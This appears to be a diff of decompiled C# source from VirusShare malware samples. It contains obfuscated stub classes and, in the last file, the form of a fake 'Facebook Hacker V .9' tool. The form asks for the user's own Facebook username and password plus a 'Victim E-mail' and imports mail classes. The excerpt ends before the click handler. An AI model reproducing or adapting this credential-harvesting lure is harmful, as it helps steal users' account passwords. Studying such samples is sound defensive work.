internal static object YWxXrMWDPDs8Q6p85dg([In] object obj0, [In] object obj1, [In] bool obj2) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool \u0030ZiTtDWZrqo1T8PMax2([In] object obj0, [In] object obj1, [In] bool obj2) => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object cvWtdSW2q2AcRL7WDxW([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void iAQMT0W4FnWNgiGr4DQ([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void wIXbs6WNaxmpjqbvP6A([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static DialogResult vT0yEZWvqAKq3NL3wWZ([In] object obj0) => \u003CPrivateImplementationDetails\u003E\u007B7465F6BC\u002D7BAE\u002D4A3E\u002DA06D\u002DB170F89EC902\u007D.fieldimpl3;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void iHdipSW5RjHP0FU8mwU([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void tqckslWqMsYnhvqEreQ([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object g8RsfRWGl8vK7SEQUe6([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void pghDE0Wu6AfpGpYbmST([In] object obj0, [In] object obj1, [In] object obj2)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static long IWRntZWIyjh1lQBclce([In] object obj0) => 0;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static double QDYduaWo0cMRu1m1HR9([In] object obj0) => 0.0;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static long \u0034DhBRrWzrXXFmgiC9AD([In] object obj0) => 0;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static double EgE5qrlxBNb6FMF3yeg([In] double obj0) => 0.0;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static int eSqswClsFpNKJYyVcNl([In] object obj0) => 0;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static double \u0033WqKP1lfO0iKrvnB6Fb([In] double obj0, [In] int obj1) => 0.0;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static int Ebxss3lOdZ2UduHWcav([In] object obj0) => 0;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object oTawqklQqn1BK5QmRrI([In] int obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object O27RARlWAtNS4ExJZrP([In] double obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object atV49WlljmMHJ42B9EF([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void JyQvSYlyOVqcRh26l4H([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void OR3H4NlpjwM5coZGlVZ([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void YByTg3lBdN7s2U5KSYX([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void cpf1ZEln4LopkIZO85Y([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void lccpO5lAuDtC8GI0X4w([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u00371kDLelmSVtViFK9Cki([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void I1Gk09ldJQAidi5PmhS([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void GpMPS1lj2W7CUBgPCjo([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void NwOPyulHpMQhauFQUQs([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void teLOILlkHsXwKus1VT7([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void LsHfDalTuPvnAlyoJ0o([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0031a90tLlh9DyyIv3PyHP([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void GAtROolEv5Bs25KoUst([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0030Uesm9l1S6CeeIoI2bW([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void UQdrjrl9RXiERWMuh8Z([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void Vf6QoElwnyQ4qhRTNP9([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0036NWRcflCsBwOp3XO9CE([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void NInD8rl6iwyRe1DYDTD([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
static UpdateC() => \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
|
||||
}
|
||||
}
|
||||
+8765
File diff suppressed because it is too large
Load Diff
+15
@@ -0,0 +1,15 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: YAjZo0OoeOFXnanNqL.a3QWFQfrZxBoktRnP7
|
||||
// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E47827BB-114D-421C-9576-332833461261
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
|
||||
|
||||
using PiDHnfAR7iBcyRY1A4;
|
||||
|
||||
namespace YAjZo0OoeOFXnanNqL
|
||||
{
|
||||
internal static class a3QWFQfrZxBoktRnP7
|
||||
{
|
||||
static a3QWFQfrZxBoktRnP7() => \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
|
||||
}
|
||||
}
|
||||
+9
@@ -0,0 +1,9 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: <Module>{1E0CF42E-6AF6-4AA5-9FF2-47ED1361C4A4}
|
||||
// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E47827BB-114D-421C-9576-332833461261
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
|
||||
|
||||
internal class \u003CModule\u003E\u007B1E0CF42E\u002D6AF6\u002D4AA5\u002D9FF2\u002D47ED1361C4A4\u007D
|
||||
{
|
||||
}
|
||||
+50
@@ -0,0 +1,50 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: dGkVnXHiK2tWFJ4C6B.4ftP2cJrps1Vp0AYUA
|
||||
// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E47827BB-114D-421C-9576-332833461261
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
|
||||
|
||||
using System;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace dGkVnXHiK2tWFJ4C6B
|
||||
{
|
||||
internal class \u0034ftP2cJrps1Vp0AYUA
|
||||
{
|
||||
internal static ModuleHandle Z01sru3p0 = \u0034ftP2cJrps1Vp0AYUA.i4UQhYlNw1yiVt1rsfi(\u0034ftP2cJrps1Vp0AYUA.yypPyWl4DNKX6dAPYar((object) \u0034ftP2cJrps1Vp0AYUA.MH2o7tl2SB1cNvlMRnn(__typeref (\u0034ftP2cJrps1Vp0AYUA)).Assembly)[0]);
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static RuntimeTypeHandle yDK9Rv8xYSJui(int token) => \u0034ftP2cJrps1Vp0AYUA.Z01sru3p0.GetRuntimeTypeHandleFromMetadataToken(token);
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static RuntimeFieldHandle \u0037h59Rv8sBfPeF(int token) => \u0034ftP2cJrps1Vp0AYUA.Z01sru3p0.GetRuntimeFieldHandleFromMetadataToken(token);
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public \u0034ftP2cJrps1Vp0AYUA() => \u0034ftP2cJrps1Vp0AYUA.ksyKZ4lZYh3pUHkcQ2D((object) this);
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
static \u0034ftP2cJrps1Vp0AYUA()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool L3iQ6ClYFIxQRHkWs3y() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool oDUJnZlDaqwE9dqyYeH() => false;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void ksyKZ4lZYh3pUHkcQ2D([In] object obj0) => obj0.\u002Ector();
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static Type MH2o7tl2SB1cNvlMRnn([In] RuntimeTypeHandle obj0) => Type.GetTypeFromHandle(obj0);
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object yypPyWl4DNKX6dAPYar([In] object obj0) => (object) ((Assembly) obj0).GetModules();
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static ModuleHandle i4UQhYlNw1yiVt1rsfi([In] object obj0) => ((Module) obj0).ModuleHandle;
|
||||
}
|
||||
}
|
||||
+35
@@ -0,0 +1,35 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: eWVX1sTotVGuGeBpEA.Ewv0DHKP53XXBO04Lw
|
||||
// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E47827BB-114D-421C-9576-332833461261
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
|
||||
|
||||
using PiDHnfAR7iBcyRY1A4;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace eWVX1sTotVGuGeBpEA
|
||||
{
|
||||
internal class Ewv0DHKP53XXBO04Lw
|
||||
{
|
||||
private static bool Z01sru3p0;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void RMg9RvhzrSvKE()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public Ewv0DHKP53XXBO04Lw()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
static Ewv0DHKP53XXBO04Lw() => \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void K3ZNjTlX67Q3pF8vIBS([In] object obj0)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
BIN
Binary file not shown.
+50
@@ -0,0 +1,50 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: p2XtB2VTdFjK0JQIVK.MdFubyyWUT0jdlleiq
|
||||
// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E47827BB-114D-421C-9576-332833461261
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using PiDHnfAR7iBcyRY1A4;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace p2XtB2VTdFjK0JQIVK
|
||||
{
|
||||
[HideModuleName]
|
||||
[StandardModule]
|
||||
[GeneratedCode("MyTemplate", "10.0.0.0")]
|
||||
internal sealed class MdFubyyWUT0jdlleiq
|
||||
{
|
||||
static MdFubyyWUT0jdlleiq() => \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[ComVisible(false)]
|
||||
internal sealed class kmiJxR0smO2aJ5fRa4<T> where T : new()
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal T WHGs5tnTk() => (T) null;
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public kmiJxR0smO2aJ5fRa4()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool BuYVlBywHq5UKSARc0() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool JU5aw2pFf7AkEFDqA8() => true;
|
||||
|
||||
static kmiJxR0smO2aJ5fRa4() => \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
|
||||
}
|
||||
}
|
||||
}
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyCopyright("Copyright © 2010")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyTitle("Facebook Hacker V .9")]
|
||||
[assembly: AssemblyProduct("Facebook Hacker V .9")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: Guid("97d1023c-40a1-4589-9ea7-3b7b043d1930")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
+390
@@ -0,0 +1,390 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Facebook_Hacker_V._9.Form1
|
||||
// Assembly: Facebook_Hacker_V._9, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: CFD63BAC-76DE-4D07-BDC2-B460826D976D
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\HackTool.Win32.Koobface.a-7b67369767465c4cc73553b90c445907f437ba1ed890c405e2e6b415ec618332.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Net;
|
||||
using System.Net.Mail;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Facebook_Hacker_V._9
|
||||
{
|
||||
[DesignerGenerated]
|
||||
public class Form1 : Form
|
||||
{
|
||||
private static List<WeakReference> __ENCList = new List<WeakReference>();
|
||||
private IContainer components;
|
||||
[AccessedThroughProperty("PictureBox1")]
|
||||
private PictureBox _PictureBox1;
|
||||
[AccessedThroughProperty("Label1")]
|
||||
private Label _Label1;
|
||||
[AccessedThroughProperty("TextBox1")]
|
||||
private TextBox _TextBox1;
|
||||
[AccessedThroughProperty("Label2")]
|
||||
private Label _Label2;
|
||||
[AccessedThroughProperty("TextBox2")]
|
||||
private TextBox _TextBox2;
|
||||
[AccessedThroughProperty("Label3")]
|
||||
private Label _Label3;
|
||||
[AccessedThroughProperty("TextBox3")]
|
||||
private TextBox _TextBox3;
|
||||
[AccessedThroughProperty("Label4")]
|
||||
private Label _Label4;
|
||||
[AccessedThroughProperty("Button1")]
|
||||
private Button _Button1;
|
||||
[AccessedThroughProperty("ProgressBar1")]
|
||||
private ProgressBar _ProgressBar1;
|
||||
[AccessedThroughProperty("Timer1")]
|
||||
private System.Windows.Forms.Timer _Timer1;
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static Form1()
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public Form1()
|
||||
{
|
||||
Form1.__ENCAddToList((object) this);
|
||||
this.InitializeComponent();
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
private static void __ENCAddToList(object value)
|
||||
{
|
||||
lock (Form1.__ENCList)
|
||||
{
|
||||
if (Form1.__ENCList.Count == Form1.__ENCList.Capacity)
|
||||
{
|
||||
int index1 = 0;
|
||||
int num = checked (Form1.__ENCList.Count - 1);
|
||||
int index2 = 0;
|
||||
while (index2 <= num)
|
||||
{
|
||||
if (Form1.__ENCList[index2].IsAlive)
|
||||
{
|
||||
if (index2 != index1)
|
||||
Form1.__ENCList[index1] = Form1.__ENCList[index2];
|
||||
checked { ++index1; }
|
||||
}
|
||||
checked { ++index2; }
|
||||
}
|
||||
Form1.__ENCList.RemoveRange(index1, checked (Form1.__ENCList.Count - index1));
|
||||
Form1.__ENCList.Capacity = Form1.__ENCList.Count;
|
||||
}
|
||||
Form1.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value)));
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!disposing || this.components == null)
|
||||
return;
|
||||
this.components.Dispose();
|
||||
}
|
||||
finally
|
||||
{
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1));
|
||||
this.PictureBox1 = new PictureBox();
|
||||
this.Label1 = new Label();
|
||||
this.TextBox1 = new TextBox();
|
||||
this.Label2 = new Label();
|
||||
this.TextBox2 = new TextBox();
|
||||
this.Label3 = new Label();
|
||||
this.TextBox3 = new TextBox();
|
||||
this.Label4 = new Label();
|
||||
this.Button1 = new Button();
|
||||
this.ProgressBar1 = new ProgressBar();
|
||||
this.Timer1 = new System.Windows.Forms.Timer(this.components);
|
||||
((ISupportInitialize) this.PictureBox1).BeginInit();
|
||||
this.SuspendLayout();
|
||||
this.PictureBox1.BackgroundImage = (Image) Facebook_Hacker_V._9.My.Resources.Resources.FaceBook_256x256;
|
||||
this.PictureBox1.ErrorImage = (Image) null;
|
||||
PictureBox pictureBox1_1 = this.PictureBox1;
|
||||
Point point1 = new Point(500, 1);
|
||||
Point point2 = point1;
|
||||
pictureBox1_1.Location = point2;
|
||||
this.PictureBox1.Name = "PictureBox1";
|
||||
PictureBox pictureBox1_2 = this.PictureBox1;
|
||||
Size size1 = new Size(250, 237);
|
||||
Size size2 = size1;
|
||||
pictureBox1_2.Size = size2;
|
||||
this.PictureBox1.TabIndex = 0;
|
||||
this.PictureBox1.TabStop = false;
|
||||
this.Label1.AutoSize = true;
|
||||
this.Label1.Font = new Font("Microsoft Sans Serif", 12f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.Label1.ForeColor = SystemColors.Control;
|
||||
Label label1_1 = this.Label1;
|
||||
point1 = new Point(12, 82);
|
||||
Point point3 = point1;
|
||||
label1_1.Location = point3;
|
||||
this.Label1.Name = "Label1";
|
||||
Label label1_2 = this.Label1;
|
||||
size1 = new Size(83, 20);
|
||||
Size size3 = size1;
|
||||
label1_2.Size = size3;
|
||||
this.Label1.TabIndex = 1;
|
||||
this.Label1.Text = "Username";
|
||||
TextBox textBox1_1 = this.TextBox1;
|
||||
point1 = new Point(101, 84);
|
||||
Point point4 = point1;
|
||||
textBox1_1.Location = point4;
|
||||
this.TextBox1.Name = "TextBox1";
|
||||
TextBox textBox1_2 = this.TextBox1;
|
||||
size1 = new Size(149, 20);
|
||||
Size size4 = size1;
|
||||
textBox1_2.Size = size4;
|
||||
this.TextBox1.TabIndex = 2;
|
||||
this.Label2.AutoSize = true;
|
||||
this.Label2.Font = new Font("Microsoft Sans Serif", 12f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.Label2.ForeColor = SystemColors.ControlLightLight;
|
||||
Label label2_1 = this.Label2;
|
||||
point1 = new Point(12, 113);
|
||||
Point point5 = point1;
|
||||
label2_1.Location = point5;
|
||||
this.Label2.Name = "Label2";
|
||||
Label label2_2 = this.Label2;
|
||||
size1 = new Size(78, 20);
|
||||
Size size5 = size1;
|
||||
label2_2.Size = size5;
|
||||
this.Label2.TabIndex = 3;
|
||||
this.Label2.Text = "Password";
|
||||
TextBox textBox2_1 = this.TextBox2;
|
||||
point1 = new Point(101, 115);
|
||||
Point point6 = point1;
|
||||
textBox2_1.Location = point6;
|
||||
this.TextBox2.Name = "TextBox2";
|
||||
this.TextBox2.PasswordChar = '*';
|
||||
TextBox textBox2_2 = this.TextBox2;
|
||||
size1 = new Size(149, 20);
|
||||
Size size6 = size1;
|
||||
textBox2_2.Size = size6;
|
||||
this.TextBox2.TabIndex = 4;
|
||||
this.Label3.AutoSize = true;
|
||||
this.Label3.Font = new Font("Microsoft Sans Serif", 21.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.Label3.ForeColor = SystemColors.Control;
|
||||
Label label3_1 = this.Label3;
|
||||
point1 = new Point(10, 9);
|
||||
Point point7 = point1;
|
||||
label3_1.Location = point7;
|
||||
this.Label3.Name = "Label3";
|
||||
Label label3_2 = this.Label3;
|
||||
size1 = new Size(303, 33);
|
||||
Size size7 = size1;
|
||||
label3_2.Size = size7;
|
||||
this.Label3.TabIndex = 5;
|
||||
this.Label3.Text = "Facebook Hacker V .9";
|
||||
TextBox textBox3_1 = this.TextBox3;
|
||||
point1 = new Point(166, 177);
|
||||
Point point8 = point1;
|
||||
textBox3_1.Location = point8;
|
||||
this.TextBox3.Name = "TextBox3";
|
||||
TextBox textBox3_2 = this.TextBox3;
|
||||
size1 = new Size(169, 20);
|
||||
Size size8 = size1;
|
||||
textBox3_2.Size = size8;
|
||||
this.TextBox3.TabIndex = 6;
|
||||
this.Label4.AutoSize = true;
|
||||
this.Label4.Font = new Font("Microsoft Sans Serif", 12f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.Label4.ForeColor = SystemColors.Control;
|
||||
Label label4_1 = this.Label4;
|
||||
point1 = new Point(198, 154);
|
||||
Point point9 = point1;
|
||||
label4_1.Location = point9;
|
||||
this.Label4.Name = "Label4";
|
||||
Label label4_2 = this.Label4;
|
||||
size1 = new Size(100, 20);
|
||||
Size size9 = size1;
|
||||
label4_2.Size = size9;
|
||||
this.Label4.TabIndex = 7;
|
||||
this.Label4.Text = "Victim E-mail";
|
||||
this.Button1.Font = new Font("Microsoft Sans Serif", 15.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
Button button1_1 = this.Button1;
|
||||
point1 = new Point(166, 203);
|
||||
Point point10 = point1;
|
||||
button1_1.Location = point10;
|
||||
this.Button1.Name = "Button1";
|
||||
Button button1_2 = this.Button1;
|
||||
size1 = new Size(169, 59);
|
||||
Size size10 = size1;
|
||||
button1_2.Size = size10;
|
||||
this.Button1.TabIndex = 8;
|
||||
this.Button1.Text = "HACK";
|
||||
this.Button1.UseVisualStyleBackColor = true;
|
||||
ProgressBar progressBar1_1 = this.ProgressBar1;
|
||||
point1 = new Point(16, 268);
|
||||
Point point11 = point1;
|
||||
progressBar1_1.Location = point11;
|
||||
this.ProgressBar1.Name = "ProgressBar1";
|
||||
ProgressBar progressBar1_2 = this.ProgressBar1;
|
||||
size1 = new Size(482, 40);
|
||||
Size size11 = size1;
|
||||
progressBar1_2.Size = size11;
|
||||
this.ProgressBar1.TabIndex = 9;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.BackColor = SystemColors.ActiveCaptionText;
|
||||
size1 = new Size(749, 328);
|
||||
this.ClientSize = size1;
|
||||
this.Controls.Add((Control) this.ProgressBar1);
|
||||
this.Controls.Add((Control) this.Button1);
|
||||
this.Controls.Add((Control) this.Label4);
|
||||
this.Controls.Add((Control) this.TextBox3);
|
||||
this.Controls.Add((Control) this.Label3);
|
||||
this.Controls.Add((Control) this.TextBox2);
|
||||
this.Controls.Add((Control) this.Label2);
|
||||
this.Controls.Add((Control) this.TextBox1);
|
||||
this.Controls.Add((Control) this.Label1);
|
||||
this.Controls.Add((Control) this.PictureBox1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (Form1);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = "Facebook Hacker V .9";
|
||||
((ISupportInitialize) this.PictureBox1).EndInit();
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
|
||||
internal virtual PictureBox PictureBox1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._PictureBox1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._PictureBox1 = value;
|
||||
}
|
||||
|
||||
internal virtual Label Label1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Label1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value;
|
||||
}
|
||||
|
||||
internal virtual TextBox TextBox1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._TextBox1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value;
|
||||
}
|
||||
|
||||
internal virtual Label Label2
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Label2;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label2 = value;
|
||||
}
|
||||
|
||||
internal virtual TextBox TextBox2
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._TextBox2;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox2 = value;
|
||||
}
|
||||
|
||||
internal virtual Label Label3
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Label3;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label3 = value;
|
||||
}
|
||||
|
||||
internal virtual TextBox TextBox3
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._TextBox3;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox3 = value;
|
||||
}
|
||||
|
||||
internal virtual Label Label4
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Label4;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label4 = value;
|
||||
}
|
||||
|
||||
internal virtual Button Button1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Button1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||||
{
|
||||
EventHandler eventHandler = new EventHandler(this.Button1_Click);
|
||||
if (this._Button1 != null)
|
||||
this._Button1.Click -= eventHandler;
|
||||
this._Button1 = value;
|
||||
if (this._Button1 == null)
|
||||
return;
|
||||
this._Button1.Click += eventHandler;
|
||||
}
|
||||
}
|
||||
|
||||
